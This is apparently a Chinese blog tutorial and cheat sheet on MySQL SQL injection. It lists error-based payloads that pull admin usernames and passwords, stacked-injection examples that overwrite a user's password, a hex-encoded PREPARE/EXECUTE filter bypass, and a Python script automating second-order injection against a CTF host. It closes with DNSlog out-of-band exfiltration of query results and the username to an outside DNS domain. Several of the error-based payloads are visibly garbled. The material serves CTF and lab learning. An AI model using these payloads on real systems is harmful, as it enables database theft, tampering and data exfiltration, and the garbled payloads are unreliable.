爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

报错注入语句:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

2.查询方式

部分不需要进行数据的取出和显示的,所以此类注入基本上需要采用盲注的才能得到结果
查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)

查询

select

插入

发表留言,会员注册,用户注册等
INSERT INTO 表名称 VALUES (值1, 值2,…)
例:
INSERT INTO Persons VALUES (‘Gates’, ‘Bill’, ‘Xuanwumen 10’, ‘Beijing’)
从语句来看insert需要闭合单引号

更新

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
例:
为 lastname 是 “Wilson” 的人添加 firstname:
UPDATE Person SET FirstName = ‘Fred’ WHERE LastName = ‘Wilson’

删除

DELETE FROM Person WHERE LastName = ‘Wilson’

8二次——堆叠——DNS外带

1数据库堆叠注入

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句
堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的信息。

注入条件

  1. 目标存在sql注入漏洞 2. 目标未对";"号进行过滤 3. 目标中间层查询数据库信息时可同时执行多条sql语句

实例1

sql_labs less38在这里插入图片描述输入?id=1',报错
在这里插入图片描述在这里插入图片描述通过翻译发现是sql语句语法错误,最常见的是sql语句少加逗号,然后是引号写错了或者字打错了。可以判断是因为引号错误。
接着输入?id=1' or '1'='1发现有结果,页面正确在这里插入图片描述
输入:?id=1' union select 1,2,3;update users set password=123 where id=1--+进行堆叠注入
在这里插入图片描述

在这里插入图片描述从图中查看password已经被改掉了

实例2

';show database;
在这里插入图片描述

';show tables;

在这里插入图片描述
1919810931114514

';show columns from `1919810931114514`;

在这里插入图片描述得到flag所在地址

输入';select flag from `1919810931114514`;发现报错过滤select

在这里插入图片描述输入1';Set @a = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;#

73656C65637420666C61672066726F6D20603139313938313039333131313435313460为select flag from `1919810931114514`的十六进制编码

在这里插入图片描述

预编译

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:
SET @x=SQL语句;
PREPARE 名称 FROM 	@x ;
EXECUTE 名称;
举例:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

2数据库二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。

过程

(1) 先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
(4)二次注入更加难以被发现

实例

在这里插入图片描述这是一个登录界面,猜测有注册界面register.php
在这里插入图片描述存在注册界面
接下来在网站进行注册
在这里插入图片描述使用注册的邮箱进行登录
在这里插入图片描述通过这一流程,发现该网址符合二次注入

流程:
注册用户:添加操作
insert  into user(email,username,password)  value('12345678910@qq.com','123','123')

登录:查询

进入用户中心:有个人用户名
select username from user where email='12345678910@qq.com'

通过脚本来获取flag值

import requests
import time
from bs4 import BeautifulSoup

def get_flag():
    flag = ''
    url = 'http://f7d6caf2-1737-4bd1-bba4-2f7bdfd8a087.node4.buuoj.cn:81/'
    register_url = url + 'register.php'
    login_url = url + 'login.php'
    for i in range(1, 100):
        time.sleep(0.5)
        register_data = {"email": "{}@1.com".format(i),
                 "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
        login_data = {"email": "{}@1.com".format(i), "password": "1"}
        requests.post(register_url, data=register_data)
        response_login = requests.post(login_url, data=login_data)
        bs = BeautifulSoup(response_login.text, 'html.parser')
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text
        flag += chr(int(number))
        print("\r", end="")
        print(flag,end="")

if __name__ == '__main__':
    get_flag()
flag{7854487d-7551-463c-93bf-f0aa9993a307}

3数据库Dnslog注入

在尝试完其他注入后都没有成功,或者是在做盲注时碰到狗以及嫌盲注太费时间,可以在之前的测试基础下(即知道存在注入,判断出字段数),使用load_file()配合concat():concat将数据库查询语句和域名拼接起来,让load_file()去读取文件的同时,我们可以到dns解析平台查看解析过程。

注入条件

1.无回显
2.不能用盲注,即使能使用盲注,存在被ban的风险高且效率低
3.数据库配置能使用load_file函数可以发送请求
load_file()的作用:

使用场景

不回线,反向连接,SQL注入,命令执行,SSRF

实例

http://www.dnslog.cn/
在这里插入图片描述https://sso.telnet404.com/
SQL注入:
select load_file(concat(‘//’,database(),‘.dns地址/输出的文件名’)
命令执行:
ping %USERNAME% kd5x9d.dnslog.cn

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值